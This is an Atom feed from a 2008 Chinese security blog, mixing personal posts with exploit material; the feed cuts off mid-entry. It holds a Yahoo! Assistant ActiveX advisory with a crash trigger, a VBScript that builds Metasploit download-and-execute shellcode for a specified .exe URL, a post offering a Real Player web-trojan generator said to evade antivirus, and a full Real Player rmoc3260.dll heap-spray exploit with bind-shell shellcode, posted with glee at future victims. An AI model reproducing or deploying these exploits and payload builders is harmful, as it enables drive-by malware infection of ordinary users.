<?xml version="1.0" encoding="UTF-8"?>
  <feed xmlns="http://www.w3.org/2005/Atom">
  <title type="html"><![CDATA[心诺的地盘]]></title>
  <subtitle type="html"><![CDATA[热烈庆祝中国信息安全同盟正式公布]]></subtitle>
  <id>http://www.hacksafe.org/</id> 
  <link rel="alternate" type="text/html" href="http://www.hacksafe.org/" /> 
  <link rel="self" type="application/atom+xml" href="http://www.hacksafe.org/atom.asp" /> 
  <generator uri="http://www.pjhome.net/" version="2.4.1022">PJBlog2</generator> 
  <updated>2008-05-07T15:49:37+08:00</updated> 

  <entry>
	  <title type="html"><![CDATA[Yahoo! 助手(3721) ActiveX远程代码执行漏洞]]></title>
	  <author>
		 <name>hacksafe</name>
		 <uri>http://www.hacksafe.org/</uri>
		 <email>hacksafe@163.com</email>
	  </author>
	  <category term="" scheme="http://www.hacksafe.org/default.asp?cateID=19" label="网页脚本" /> 
	  <updated>2008-05-07T15:49:37+08:00</updated>
	  <published>2008-05-07T15:49:37+08:00</published>
		  <summary type="html"><![CDATA[Yahoo! 助手(3721) ActiveX远程代码执行漏洞<br/><br/>发现者: Sowhat of Nevis Labs<br/>日期: 2008.05.06<br/><br/><a href="http://hi.baidu.com/secway/blog/item/d9b45dddf0603bdc8d1029a9.html" target="_blank">http://hi.baidu.com/secway/blog/item/d9b45dddf0603bdc8d1029a9.html</a><br/><a href="http://secway.org/advisory/AD20080506EN.txt" target="_blank">http://secway.org/advisory/AD20080506EN.txt</a><br/><a href="http://secway.org/advisory/AD20080506CN.txt" target="_blank">http://secway.org/advisory/AD20080506CN.txt</a><br/><br/>CVE:&nbsp;&nbsp;&nbsp;&nbsp;N/A<br/><br/>厂商<br/>Yahoo! CN<br/><br/>受影响版本:<br/>Yahoo! Assistant&lt;=3.6 (04/23/2008之前版本)<br/><br/>Overview:<br/>Yahoo!助手(原3721网络助手),是一个IE下的BHO (Browser Helper Object).<br/><br/>Yahoo!助手有许多功能,例如IE设置修复,安全防护,删除浏览的历史信息,拦截广告,等等.<br/>更多信息,请参考<br/><a href="http://cn.zs.yahoo.com/" target="_blank">http://cn.zs.yahoo.com/</a><br/><br/>细节:<br/><br/>漏洞存在于ynotifier.dll这个ActiveX控件.<br/>成功利用此漏洞可以使得攻击者能够在安装了Yahoo!助手的电脑上执行任意代码.<br/>成功利用此漏洞需要诱使用户访问特定网页.<br/><br/>在通过IE初始化Ynoifier COM对象时,会出现一个可利用的内存破坏漏洞.<br/><br/>(c78.fa0): Access violation - code c0000005 (first chance)<br/>First chance exceptions are reported before any exception handling.<br/>This exception may be expected and handled.<br/>eax=00e85328 ebx=001ada20 ecx=4080624c edx=00128474 esi=020cb5f0 edi=00000000<br/>eip=43f50743 esp=001283e0 ebp=00128478 iopl=0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nv up ei pl zr na po nc<br/>cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; efl=00010246<br/>43f50743 ??&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ???<br/><br/>637a8b47 8b45f8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; eax,[ebp-0×8]<br/>637a8b4a 8b08&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; ecx,[eax]<br/>637a8b4c 8d55fc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea&nbsp;&nbsp;&nbsp;&nbsp; edx,[ebp-0×4]<br/>637a8b4f 52&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;edx<br/>637a8b50 6a01&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;0×1<br/>637a8b52 50&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;eax<br/>637a8b53 ff5158&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp;&nbsp;dword ptr [ecx+0×58] ; ds:0023:408062a4=43f50743<br/><br/>此处虚函数指向了一个无效的数据.<br/><br/>利用堆填充技术,攻击者可以通过利用此漏洞执行任意代码.<br/><br/>Proof of Concept:<br/>只需要下面这行代码保存成HTML文件,即可触发漏洞<br/>&lt;object classid=’clsid:2283BB66-A15D-4AC8-BA72-9C8C9F5A1691′&gt;<br/><br/>Workaround:<br/>对此ActiveX设置一个Killbit.<br/><br/>厂商回应:<br/><br/>2008.04.23 通过邮件通知厂商<br/>2008.04.23 厂商回复,开发补丁<br/>2008.04.23 补丁开发完毕,但厂商希望能够推迟公布细节,因为厂商需要时间推送补丁<br/>2008.05.06 发布公告.(厂商没有发布任何公告)<br/><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.hacksafe.org/default.asp?id=284" /> 
	  <id>http://www.hacksafe.org/default.asp?id=284</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[这一代的领导人不错！]]></title>
	  <author>
		 <name>hacksafe</name>
		 <uri>http://www.hacksafe.org/</uri>
		 <email>hacksafe@163.com</email>
	  </author>
	  <category term="" scheme="http://www.hacksafe.org/default.asp?cateID=8" label="心情随笔" /> 
	  <updated>2008-04-14T02:44:29+08:00</updated>
	  <published>2008-04-14T02:44:29+08:00</published>
		  <summary type="html"><![CDATA[刚才在163上看到<a href="http://news.163.com/08/0413/17/49E62LT30001124J.html" target="_blank">http://news.163.com/08/0413/17/49E62LT30001124J.html</a><br/><br/><br/>发现这一代的领导人不错。做了很多实质性的工作。<br/><br/>但从农民免税，就从来没有，而且还种地还给钱。到农民都有医保卡。<br/><br/>国家领导人真正的为老百姓干了很多事。<br/><br/>我记得很清楚就是年30晚上，国家几个领导人还在灾区慰问受灾的人民。<br/><br/>堂堂国家主席，国家总理。能做到这点确实不容易了。<br/><br/>从部队加薪，到给大学生补助。不管多少钱，但是真正的干了很多实在的看得见的事。<br/><br/>还有很多地方很多领域，改动很大。不主张口号，而是真正的在为百姓着想。<br/><br/>特此发帖表扬！<br/><br/><br/><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.hacksafe.org/default.asp?id=283" /> 
	  <id>http://www.hacksafe.org/default.asp?id=283</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[一客户,给卡巴提出的培训内容。]]></title>
	  <author>
		 <name>hacksafe</name>
		 <uri>http://www.hacksafe.org/</uri>
		 <email>hacksafe@163.com</email>
	  </author>
	  <category term="" scheme="http://www.hacksafe.org/default.asp?cateID=7" label="怪谈趣事" /> 
	  <updated>2008-04-11T10:50:03+08:00</updated>
	  <published>2008-04-11T10:50:03+08:00</published>
		  <summary type="html"><![CDATA[老大给看了后，发现这个不是培训卡巴相关知识的，而有点像一黑客培训班内容。<br/><br/>要命了。呵呵！ <br/><br/><br/>序号&#160;&#160;&#160;&#160;内容要求&nbsp;&nbsp;<br/>1&#160;&#160;&#160;&#160;磁盘架构分析，分析WYX病毒&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&nbsp;&nbsp; <br/>2&#160;&#160;&#160;&#160;一般病毒手工处理方式&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&nbsp;&nbsp; <br/>3&#160;&#160;&#160;&#160;病毒存储架构源码分析&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&nbsp;&nbsp; <br/>4&#160;&#160;&#160;&#160;引导区病毒分析，代码检测、处理方式及工具介绍&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&nbsp;&nbsp; <br/>5&#160;&#160;&#160;&#160;文件型病毒分析、宏病毒的手工清楚方法及工具介绍&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&nbsp;&nbsp; <br/>6&#160;&#160;&#160;&#160;蠕虫病毒介绍、分析、处理方法及工具介绍&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&nbsp;&nbsp; <br/>7&#160;&#160;&#160;&#160;脚本病毒及网页病毒预防、介绍、代码分析、典型病毒分析：例如欢乐时光病毒介绍分析及工具介绍&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&nbsp;&nbsp; <br/>8&#160;&#160;&#160;&#160;木马类病毒介绍、代码分析、处理方法及工具介绍&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&nbsp;&nbsp; <br/>9&#160;&#160;&#160;&#160;ROOTKIT木马原理、检测技术及工具介绍&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&nbsp;&nbsp; <br/>10&#160;&#160;&#160;&#160;网页病毒发现、分析及提取工具介绍&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&nbsp;&nbsp; <br/>11&#160;&#160;&#160;&#160;网络钓鱼病毒发现、提取、分析、处理及工具介绍&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&nbsp;&nbsp; <br/>12&#160;&#160;&#160;&#160;即时通讯病毒发现、提取、分析、处理及工具介绍&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&nbsp;&nbsp; <br/>13&#160;&#160;&#160;&#160;操作系统漏洞攻击病毒分析、处理方式及工具介绍&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&nbsp;&nbsp; <br/>14&#160;&#160;&#160;&#160;用常见反病毒技术（比较法、启发式、虚拟机处理病毒）等技术分析、发现、处理病毒及工具介绍&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&nbsp;&nbsp; <br/>15&#160;&#160;&#160;&#160;计算机病毒诊断技术原理、流行反病毒技术及发展趋势&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&nbsp;&nbsp; <br/>16&#160;&#160;&#160;&#160;病毒制作方法及过程&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&nbsp;&nbsp; <br/>17&#160;&#160;&#160;&#160;手工处理病毒的方法、工具及典型病毒实例处理&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; <br/><br/><br/><br/><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.hacksafe.org/default.asp?id=282" /> 
	  <id>http://www.hacksafe.org/default.asp?id=282</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[今天老婆大人的生日，发帖庆祝下！]]></title>
	  <author>
		 <name>hacksafe</name>
		 <uri>http://www.hacksafe.org/</uri>
		 <email>hacksafe@163.com</email>
	  </author>
	  <category term="" scheme="http://www.hacksafe.org/default.asp?cateID=8" label="心情随笔" /> 
	  <updated>2008-04-09T21:51:48+08:00</updated>
	  <published>2008-04-09T21:51:48+08:00</published>
		  <summary type="html"><![CDATA[今天老婆的生日，发帖庆祝下！<br/><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.hacksafe.org/default.asp?id=281" /> 
	  <id>http://www.hacksafe.org/default.asp?id=281</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[中国信息安全同盟对外开放！]]></title>
	  <author>
		 <name>hacksafe</name>
		 <uri>http://www.hacksafe.org/</uri>
		 <email>hacksafe@163.com</email>
	  </author>
	  <category term="" scheme="http://www.hacksafe.org/default.asp?cateID=8" label="心情随笔" /> 
	  <updated>2008-04-09T12:10:17+08:00</updated>
	  <published>2008-04-09T12:10:17+08:00</published>
		  <summary type="html"><![CDATA[中国信息安全同盟对外开放，招收版主中。。。<br/><br/>url:<a href="http://www.hacksafe.org" target="_blank">http://www.hacksafe.org</a><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.hacksafe.org/default.asp?id=280" /> 
	  <id>http://www.hacksafe.org/default.asp?id=280</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Real Player rmoc3260.dll Exp ]]></title>
	  <author>
		 <name>hacksafe</name>
		 <uri>http://www.hacksafe.org/</uri>
		 <email>hacksafe@163.com</email>
	  </author>
	  <category term="" scheme="http://www.hacksafe.org/default.asp?cateID=19" label="网页脚本" /> 
	  <updated>2008-04-05T11:05:13+08:00</updated>
	  <published>2008-04-05T11:05:13+08:00</published>
		  <summary type="html"><![CDATA[&#39;以下代码保存成vbs，双击即可<br/><br/>On Error Resume Next<br/>Exeurl = InputBox( &#34;请输入exe的地址：&#34;, &#34;输入&#34;, &#34;<a href="http://www.haiyangtop.net/333.exe" target="_blank">http://www.haiyangtop.net/333.exe</a>&#34; )<br/>url = &#34;<a href="http://metasploit.com:55555/PAYLOADS?parent=GLOB%280x2b94a2879c50%29" target="_blank">http://metasploit.com:55555/PAYLOADS?parent=GLOB%280x2b94a2879c50%29</a>&amp;MODULE=win32_downloadexec&amp;MODE=GENERATE&amp;OPT_URL=&#34;&amp;URLEncoding(Exeurl)&amp;&#34;&amp;MaxSize=&amp;BadChars=0x00+&amp;ENCODER=Msf%3A%3AEncoder%3A%3AAlpha2&amp;ACTION=Generate+Payload&#34;<br/>Body = getHTTPPage(url)<br/>Set Re = New RegExp<br/>Re.Pattern = &#34;(\$shellcode \=[\s\S]+&lt;/div&gt;&lt;/pre&gt;)&#34;<br/>Set Matches = Re.Execute(Body)<br/>If Matches.Count&gt;0 Then Body = Matches(0).value<br/>code=Trim(Replace(Replace(replace(Replace(Replace(Replace(Replace(Body,&#34;$shellcode =&#34;,&#34;&#34;),Chr(34),&#34;&#34;),Chr(13),&#34;&#34;),&#34;;&#34;,&#34;&#34;),&#34;&lt;/div&gt;&lt;/pre&gt;&#34;,&#34;&#34;),Chr(10),&#34;&#34;),&#34;.&#34;,&#34;&#34;))<br/><br/>function replaceregex(str)<br/>set regex=new regExp<br/>regex.pattern=&#34;\\x(..)\\x(..)&#34;<br/>regex.IgnoreCase=true<br/>regex.global=true<br/>matches=regex.replace(str,&#34;%u$2$1&#34;)<br/>replaceregex=matches<br/>end Function<br/><br/>Function getHTTPPage(Path)<br/> t = GetBody(Path)<br/> getHTTPPage = BytesToBstr(t, &#34;GB2312&#34;)<br/>End Function<br/><br/>Function GetBody(url)<br/> On Error Resume Next<br/> Set Retrieval = Cr&#101;ateObject(&#34;Microsoft.XMLHTTP&#34;)<br/> With Retrieval<br/> .Open &#34;Get&#34;, url, False, &#34;&#34;, &#34;&#34;<br/> .Send<br/> GetBody = .ResponseBody<br/> End With<br/> Set Retrieval = Nothing<br/>End Function<br/><br/>Function BytesToBstr(Body, Cset)<br/> Dim objstream<br/> Set objstream = Cr&#101;ateObject(&#34;adodb.stream&#34;)<br/> objstream.Type = 1<br/> objstream.Mode = 3<br/> objstream.Open<br/> objstream.Write Body<br/> objstream.Position = 0<br/> objstream.Type = 2<br/> objstream.Charset = Cset<br/> BytesToBstr = objstream.ReadText<br/> objstream.Close<br/> Set objstream = Nothing<br/>End Function<br/><br/>Function URLEncoding(vstrIn)<br/> strReturn = &#34;&#34;<br/> For aaaa = 1 To Len(vstrIn)<br/> ThisChr = Mid(vStrIn,aaaa,1)<br/> If Abs(Asc(ThisChr)) &lt; &amp;HFF Then<br/> strReturn = strReturn &amp; ThisChr<br/> Else<br/> innerCode = Asc(ThisChr)<br/> If innerCode &lt; 0 Then<br/> innerCode = innerCode + &amp;H10000<br/> End If<br/> Hight8 = (innerCode And &amp;HFF00)\ &amp;HFF<br/> Low8 = innerCode And &amp;HFF<br/> strReturn = strReturn &amp; &#34;%&#34; &amp; Hex(Hight8) &amp; &#34;%&#34; &amp; Hex(Low8)<br/> End If<br/> Next<br/> URLEncoding = strReturn<br/>End Function<br/><br/>set fso=Cr&#101;ateObject(&#34;scripting.filesystemobject&#34;)<br/>set fileS=fso.opentextfile(&#34;a.txt&#34;,8,true)<br/>fileS.writeline replaceregex(code)<br/>wscript.echo replaceregex(code)<br/>files.close<br/>set fso=Nothing<br/><br/>wscript.echo Chr(13)&amp;&#34;ok，生成a.txt，请用a.txt里的替换<a href="http://www.milw0rm.com/exploits/5332" target="_blank">http://www.milw0rm.com/exploits/5332</a>里的shellcode1内容即可&#34; <br/><br/><br/><br/><img src="http://www.hacksafe.org/images/download.gif" alt="只允许会员下载" style="margin:0px 2px -4px 0px"/> 该文件只允许会员下载! <a href="http://www.hacksafe.org/login.asp">登录</a> | <a href="http://www.hacksafe.org/register.asp">注册</a><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.hacksafe.org/default.asp?id=279" /> 
	  <id>http://www.hacksafe.org/default.asp?id=279</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[公布一个REAL11的网页木马生成器]]></title>
	  <author>
		 <name>hacksafe</name>
		 <uri>http://www.hacksafe.org/</uri>
		 <email>hacksafe@163.com</email>
	  </author>
	  <category term="" scheme="http://www.hacksafe.org/default.asp?cateID=6" label="原创作品" /> 
	  <updated>2008-04-03T10:35:01+08:00</updated>
	  <published>2008-04-03T10:35:01+08:00</published>
		  <summary type="html"><![CDATA[<img src="http://www.hacksafe.org/attachments/month_0804/w20084310291.jpg" border="0" alt=""/><br/><br/><br/>这个版本的REAL关IE。而且只对REAL PLAY11有效，请点击下边的连接下载测试软件<br/><a href="http://www.skycn.com/soft/1760.html" target="_blank">http://www.skycn.com/soft/1760.html</a><br/><br/>怎么用我就不多说了，那些怀疑有病毒或者怀疑有后门的，您可千万别用。别一边自己偷摸用，一边张口大骂心诺写软件加后门！其目的不用想谁也知道！！<br/><br/>现在生成出来的，过4月3号，瑞星和卡巴的最新病毒库！<br/><br/>更新了shellcode，不卡！重写了网马的代码。执行速度更快。如果不公开，可以免杀N长时间！<br/><br/>喜欢的哥们拿去玩吧，有问题可以在这里给我留言。<br/><br/>写这个程序用了二十分钟，找这个图片用了两个半小时！汗！！！<br/><br/><span style="color:Red">此作品仅供技术交流用，请勿用于非法或者破坏他人计算机，否则后果自负！</span><br/><br/>解压密码：blog.hacksafe.org<br/><br/><img src="http://www.hacksafe.org/images/download.gif" alt="只允许会员下载" style="margin:0px 2px -4px 0px"/> 该文件只允许会员下载! <a href="http://www.hacksafe.org/login.asp">登录</a> | <a href="http://www.hacksafe.org/register.asp">注册</a><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.hacksafe.org/default.asp?id=278" /> 
	  <id>http://www.hacksafe.org/default.asp?id=278</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[最新的REAL网马又出来了,能过最新版本！汗！！]]></title>
	  <author>
		 <name>hacksafe</name>
		 <uri>http://www.hacksafe.org/</uri>
		 <email>hacksafe@163.com</email>
	  </author>
	  <category term="" scheme="http://www.hacksafe.org/default.asp?cateID=19" label="网页脚本" /> 
	  <updated>2008-04-02T09:57:42+08:00</updated>
	  <published>2008-04-02T09:57:42+08:00</published>
		  <summary type="html"><![CDATA[Real Player rmoc3260.dll ActiveX Control Remote Code Execution Exploit(Heap Corruption)<br/>written by e.b.<br/>Tested on Windows XP SP2(fully patched) English, IE6, rmoc3260.dll version 6.0.10.45<br/>Thanks to h.d.m. and the Metasploit crew<br/>--&gt;<br/><br/>&lt;html&gt;<br/>&lt;head&gt;<br/>&lt;title&gt;Real Player rmoc3260.dll ActiveX Control Remote Code Execution Exploit&lt;/title&gt;<br/>&lt;script language=&#34;JavaScript&#34; defer&gt;<br/>function Check() {<br/><br/>// win32_exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 <a href="http://metasploit.com" target="_blank">http://metasploit.com</a> <br/>var shellcode1 = unescape(&#34;%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949&#34; +<br/>&#34;%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a&#34; +<br/>&#34;%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241&#34; +<br/>&#34;%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c&#34; +<br/>&#34;%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c&#34; +<br/>&#34;%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f&#34; +<br/>&#34;%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b&#34; +<br/>&#34;%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c&#34; +<br/>&#34;%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831&#34; +<br/>&#34;%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955&#34; +<br/>&#34;%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b&#34; +<br/>&#34;%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b&#34; +<br/>&#34;%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44&#34; +<br/>&#34;%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35&#34; +<br/>&#34;%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530&#34; +<br/>&#34;%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b&#34; +<br/>&#34;%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c&#34; +<br/>&#34;%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63&#34; +<br/>&#34;%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f&#34; +<br/>&#34;%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377&#34; +<br/>&#34;%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f&#34; +<br/>&#34;%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035&#34; +<br/>&#34;%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653&#34; +<br/>&#34;%u314e%u7475%u7038%u7765%u4370&#34;);<br/><br/>// win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 <a href="http://metasploit.com" target="_blank">http://metasploit.com</a> <br/>var shellcode2 = unescape(&#34;%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949&#34; +<br/>&#34;%u4949%u4949%u4949%u4949%u4949%u4937%u5a51%u436a&#34; +<br/>&#34;%u3058%u3142%u4150%u6b42%u4141%u4153%u4132%u3241&#34; +<br/>&#34;%u4142%u4230%u5841%u3850%u4241%u7875%u4b69%u724c&#34; +<br/>&#34;%u584a%u526b%u4a6d%u4a48%u6b59%u6b4f%u694f%u416f&#34; +<br/>&#34;%u4e70%u526b%u744c%u4164%u6e34%u376b%u5535%u4c6c&#34; +<br/>&#34;%u714b%u646c%u6145%u7468%u6a41%u6e4f%u626b%u326f&#34; +<br/>&#34;%u6c38%u334b%u376f%u5550%u7851%u316b%u6c59%u504b&#34; +<br/>&#34;%u6e34%u466b%u6861%u456e%u6f61%u6c30%u6c59%u6b6c&#34; +<br/>&#34;%u3934%u4150%u3764%u6877%u6941%u565a%u636d%u4b31&#34; +<br/>&#34;%u7872%u6c6b%u7534%u566b%u3134%u5734%u5458%u6b35&#34; +<br/>&#34;%u6e55%u336b%u556f%u7474%u7841%u416b%u4c76%u464b&#34; +<br/>&#34;%u626c%u6e6b%u416b%u354f%u564c%u6861%u666b%u3663&#34; +<br/>&#34;%u6c4c%u6b4b%u7239%u444c%u5764%u616c%u4f71%u4733&#34; +<br/>&#34;%u6b41%u336b%u4c54%u634b%u7073%u6c30%u534b%u6470&#34; +<br/>&#34;%u6c4c%u724b%u4550%u4e4c%u6c4d%u374b%u7530%u7358&#34; +<br/>&#34;%u426e%u4c48%u524e%u466e%u586e%u566c%u3930%u586f&#34; +<br/>&#34;%u7156%u4676%u7233%u6346%u3058%u7033%u3332%u5458&#34; +<br/>&#34;%u5237%u4553%u5162%u504f%u4b54%u5a4f%u3370%u6a58&#34; +<br/>&#34;%u686b%u596d%u456c%u466b%u4930%u596f%u7346%u4e6f&#34; +<br/>&#34;%u5869%u7365%u4d56%u5851%u366d%u6468%u7242%u7275&#34; +<br/>&#34;%u674a%u5972%u6e6f%u7230%u4a48%u5679%u6b69%u6e45&#34; +<br/>&#34;%u764d%u6b37%u584f%u3356%u3063%u5053%u7653%u7033&#34; +<br/>&#34;%u3353%u5373%u3763%u5633%u6b33%u5a4f%u3270%u5046&#34; +<br/>&#34;%u3568%u7141%u304c%u3366%u6c63%u6d49%u6a31%u7035&#34; +<br/>&#34;%u6e68%u3544%u524a%u4b50%u7177%u4b47%u4e4f%u3036&#34; +<br/>&#34;%u526a%u3130%u7041%u5955%u6e6f%u3030%u6c68%u4c64&#34; +<br/>&#34;%u546d%u796e%u3179%u5947%u596f%u4646%u6633%u6b35&#34; +<br/>&#34;%u584f%u6350%u4b58%u7355%u4c79%u4146%u6359%u4b67&#34; +<br/>&#34;%u784f%u7656%u5330%u4164%u3344%u7965%u4e6f%u4e30&#34; +<br/>&#34;%u7173%u5878%u6167%u6969%u7156%u6269%u3977%u6a6f&#34; +<br/>&#34;%u5176%u4945%u4e6f%u5130%u5376%u715a%u7274%u6246&#34; +<br/>&#34;%u3048%u3063%u6c6d%u5a49%u6345%u625a%u7670%u3139&#34; +<br/>&#34;%u5839%u4e4c%u4d69%u5337%u335a%u4e74%u4b69%u5652&#34; +<br/>&#34;%u4b51%u6c70%u6f33%u495a%u336e%u4472%u6b6d%u374e&#34; +<br/>&#34;%u7632%u6e4c%u6c73%u704d%u767a%u6c58%u4e6b%u4c4b&#34; +<br/>&#34;%u736b%u5358%u7942%u6d6e%u7463%u6b56%u304f%u7075&#34; +<br/>&#34;%u4b44%u794f%u5346%u706b%u7057%u7152%u5041%u4251&#34; +<br/>&#34;%u4171%u337a%u4231%u4171%u5141%u6645%u6931%u5a6f&#34; +<br/>&#34;%u5070%u6e68%u5a4d%u5679%u6865%u334e%u3963%u586f&#34; +<br/>&#34;%u6356%u4b5a%u4b4f%u704f%u4b37%u4a4f%u4c70%u614b&#34; +<br/>&#34;%u6b47%u4d4c%u6b53%u3174%u4974%u596f%u7046%u5952&#34; +<br/>&#34;%u4e6f%u6330%u6c58%u6f30%u577a%u6174%u324f%u4b73&#34; +<br/>&#34;%u684f%u3956%u386f%u4350&#34;);<br/><br/>&nbsp;&nbsp;var bigblock = unescape(&#34;%u0C0C%u0C0C&#34;);<br/>&nbsp;&nbsp;var headersize = 20;<br/>&nbsp;&nbsp;var slackspace = headersize + shellcode1.length;<br/>&nbsp;&nbsp;while (bigblock.length &lt; slackspace) bigblock += bigblock;<br/>&nbsp;&nbsp;var fillblock = bigblock.substring(0,slackspace);<br/>&nbsp;&nbsp;var block = bigblock.substring(0,bigblock.length - slackspace);<br/>&nbsp;&nbsp;while (block.length + slackspace &lt; 0x40000) block = block + block + fillblock;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;var memory = new Array();<br/>&nbsp;&nbsp;for (i = 0; i &lt; 400; i++){ memory[i] = block + shellcode1 }<br/>&nbsp;&nbsp;<br/>&nbsp;&nbsp;var buf = &#39;&#39;;<br/>&nbsp;&nbsp;while (buf.length &lt; 32) buf = buf + unescape(&#34;%0C&#34;);<br/><br/>&nbsp;&nbsp;var m = &#39;&#39;;<br/><br/>&nbsp;&nbsp;m = obj.Console;<br/>&nbsp;&nbsp;obj.Console = buf;<br/>&nbsp;&nbsp;obj.Console = m;<br/>&nbsp;&nbsp;<br/>&nbsp;&nbsp;m = obj.Console;<br/>&nbsp;&nbsp;obj.Console = buf;<br/>&nbsp;&nbsp;obj.Console = m;<br/>&nbsp;&nbsp;<br/>} <br/>&lt;/script&gt;<br/>&lt;/head&gt;<br/>&lt;body xxxxx=&#34;JavaScript: return Check();&#34;&gt;<br/>&nbsp;&nbsp;&lt;object classid=&#34;clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93&#34; id=&#34;obj&#34;&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Unable to cr&#101;ate object<br/>&nbsp;&nbsp;&lt;/object&gt;<br/><br/>&lt;/body&gt;<br/>&lt;/html&gt;<br/><br/><br/>PS：可怜那些倒霉的孩子，又要中病毒了！]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.hacksafe.org/default.asp?id=277" /> 
	  <id>http://www.hacksafe.org/default.asp?id=277</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[千千静听 med 文件格式堆溢出的成功利用]]></title>
	  <author>
		 <name>hacksafe</name>
		 <uri>http://www.hacksafe.org/</uri>
		 <email>hacksafe@163.com</email>
	  </author>
	  <category term="" scheme="http://www.hacksafe.org/default.asp?cateID=20" label="溢出分析" /> 
	  <updated>2008-04-01T10:22:39+08:00</updated>
	  <published>2008-04-01T10:22:39+08:00</published>
